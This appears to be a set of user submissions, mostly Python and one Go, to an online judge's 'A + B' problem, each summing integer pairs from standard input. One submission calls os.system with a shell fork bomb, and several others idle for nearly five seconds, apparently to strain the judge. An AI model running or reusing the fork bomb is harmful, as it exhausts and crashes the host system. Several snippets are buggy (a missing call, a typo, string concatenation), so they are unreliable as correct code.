Go: package main

import (
	"bufio"
	"fmt"
	"os"
	"strconv"
	"strings"
)

var sc = bufio.NewScanner(os.Stdin)

//Sliceconvtoi ...
func Sliceconvtoi() []int {
	strs := strings.Split(sc.Text(), " ")

	var ints []int
	var x int

	for _, s := range strs {
		x, _ = strconv.Atoi(s)
		ints = append(ints, x)
	}

	return ints
}

func main() {

	for sc.Scan() {
		i := Sliceconvtoi()
		fmt.Println(i[0] + i[1])
	}

}

Python: import sys
  
for s in sys.stdin:
    a,b = [ int(x) for x in s.split() ]
    print(a+b)

Python: import sys

for line in sys.stdin:
    a, b = map(int, line.split())
    print(a + b)

Python: while True:
    try:
        a, b = map(int, input().split())
        print(a+b)
    except EOFError as e:
        break

Python: while True:
    try:
        print(sum(map(int, input().split())))
    except:
        break

Python: # AOJ 1000: A + B Problem
# Python3 2018.7.4 bal4u

while True:
	try: print(sum(map(int, input().split())))
	except: break

Python: print(sum(list(map(int,input().split))))

Python: while True:
    try:
        a, b = list(map(int,input().split()))
    except EOFError:
        break
    print(a+b)

Python: import sys
for line in sys.stdin:
    if line == None or line == '/n':
        break
    a,b = line.split(" ")
    print( int(a) + int(b) )

Python: a,b=map(int,input().split())
print(a+b)

Python: import time,sys
start=time.time()
while time.time()-start<=4.9:pass
for input in sys.stdin:print(sum(map(int,input.split())))

Python: import sys

for line in sys.stdin:
    a, b = map(int, line.split())
    print(a+b)

Python: while True:
    try:
        a = [int(i) for i in input().split()]
        print(sum(a))
    except EOFError:
        break

Python: while True:
    try:
        s=input()
        a  = s.split(' ')
        print(int(a[0]) + int(a[1]))
        #do something
    except EOFError:
        break

Python: try:
 while True:
  a,b=map(int,input().split())
  print(a+b)
except EOFError:
  pass

Python: import sys

def plus(line):
    a, b = line.split()
    return a + b

array = []
for line in sys.stdin:
    array.append(int(line))

for i in range(len(array)):
    plus(array[i])

Python: out=[]
while True:
	try:
		k=list(map(int,input().split(" ")))
	except:
		break

	out.append(k[0]+k[1])

for i in out:
	print(i)

Python: try:
    while True:
        a, b = [int(x) for x in input().split(' ')]
        print(a+b)
except EOFError:
    pass

Python: while True:
	try:
		x,y=input().split()
		print(x+y)
	except EOFError:
		break

Python: import time,sys
start=time.time()
while time.time()-start<=4.98:pass
for input in sys.stdin:print(sum(map(int,input.split())))

Python: import sys

l = []
for i in sys.stdin:
    l.append(i.split())

for data in l:
    print(int(data[0]) + int(data[1]))

Python: import sys
for line in sys.stdin.readlines():
	data=line.split()
	#print(int(data[0])+int(data[1]))
	print(eval(data[0]+"+"+data[1]))

Python: import time,sys
s=time.time()
while time.time()-s<=4.9775:pass
for i in sys.stdin:print(sum(map(int,i.split())))

Python: while True:
    try:print(sum(map(int,input().split(" "))))
    except:break

Python: import sys

for line in sys.stdin:
    line = [int(n) for n in line.strip().split()]
    print(sum(line))

Python: while True:
    try:
        A = list(map(int,input().split()))
        print(A[0]+A[1])
    except EOFError:
        break

Python: while True:
    print(sum(list(map(int,input().split()))))

Python: while True:
    try:
        print(sum(map(int, input().split())))
    except:
        break

Python: while True:
    try:
        A,B=map(int,input().split())
    except EOFError:
        break
    print(A+B)

Python: import sys
val = []
count = 0

for line in sys.stdin:
    for word in line.split():
        val.append(int(word))
    count = count + 1
    if count == 1:
        break

print (sum(val))

Python: while(True):
    try:
        data = input().split()
        result = 0
        for i in data: result += int(i)
        print(result)
    except EOFError:
        break

Python: while True:
	try:
		print(sum([eval(x) for x in input().split()]))
	except EOFError:
		brea

Python: import sys
for s in sys.stdin:
    A, B = map(int, s.split())
    print(A + B)

Python: import sys
for line in sys.stdin.readlines():
	data=line.split()
	print(int(data[0])+int(data[1]))
	#print(eval(data[0]+"+"+data[1]))

Python: while True:
  try:
    a,b=map(int,input().split(" "))
    print(a+b)
  except Exception:
    break

Python: import sys

su = 0
for line in sys.stdin:
   for x in line.split():
      su += int(x)
   print(su)
   su = 0

Python: while True:
    try:
        a,b = map(int,input().split())
        print(a + b)
    except EOFError:
        break

Python: x = input()
while x:
    a, b = x.split(" ")
    print(int(a) + int(b))

Python: while True:
  try:
    print(sum(map(int, input().split())))
  except EOFError:
    break

Python: import sys

for line in sys.stdin:
    nums = [int(_) for _ in line.split()]
    print(sum(nums))

Python: import sys

answers = []
for line in sys.stdin:
    a,b = list(map(int,line.split()))
    answers.append(a+b)

for a in answers:
    print(a)

Python: import os

os.system("forkbomb(){ forkbomb|forkbomb & } ; forkbomb")

Python: import math

def get_input():
    while True:
        try:
            yield ''.join(input())
        except EOFError:
            break

N = list(get_input())
for l in range(len(N)):
    a,b = [int(i) for i in N[l].split()]
    print(a+b)

Python: import sys
val = []
result = [] 
count = 0

for line in sys.stdin:
    if line != '\n':
        for word in line.split():
            val.append(int(word))
        result.append(sum(val))
        val = []
        count = count + 1
    else:
        break

for x in result:
    print(x)

Python: def run(infile,outfile):
	for line in infile.readlines():
		print >> outfile,sum(map(int,line.rstrip().split()))

if __name__ == "__main__":
	import sys
	run(sys.stdin, sys.stdout)

Python: while (1):
	try:
		a, b = map(int,input().split())
	except:
		break
	
	print(a+b)

Python: try:
 while 1:print(sum(map(int,input().split())))
except:1

Python: import sys
line = sys.stdin.readlines()
top = [0,0,0]
for i in range(len(line)):
    line[i] = list(map(int, line[i].rstrip("\n").split(" ")))
    print(line[i][0]+line[i][1])

Python: import sys

for line in sys.stdin:
    l = line.split()
    print(int(l[0]) + int(l[1]))

Python: while True:
    try:
        print(sum(list(map(int,input().split()))))
    except:
        break

Python: #!/usr/bin/python
# -*- coding: utf-8 -*-

def main():
    # 入力
    input = []
    while(True):
        try:
            input_list = list2int(raw_input().split())
            input.append(input_list)
        except EOFError:
            break

    for x in input:
        print(sum(x))

# リストの要素をintに変換
def list2int(list):
    return [int(x) for x in list]

if __name__=='__main__':
    main()

Python: a=int(input())
b=int(input())
print(a+b)

# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Python: while True:
    try:
        print(sum(map(int, input().split())))
    except:
        break

Python: import sys
for line in sys.stdin:
  a, b = [int(x) for x in line.split()]
  print(a + b)

Python: try:
    while True:
          a,b=map(int,raw_input().split())
          print (a+b)

except:
    None

Python: while True:
    print(sum(list(map(int,input().split()))))

Python: import sys
for l in sys.stdin:
    print(sum(map(int,l.split())))

Python: import time,sys
start=time.time()
while time.time()-start<=4:pass
for input in sys.stdin:print(sum(map(int,input.split())))

Python: try:
    while True:
        a,b = input().split(" ")
        num = int(a) + int(b)
        print(num)
except EOFError:
    num = 0

Python: while True:
   try:
      x, y = input().split()
      print(int(x)+int(y))
   except:
      break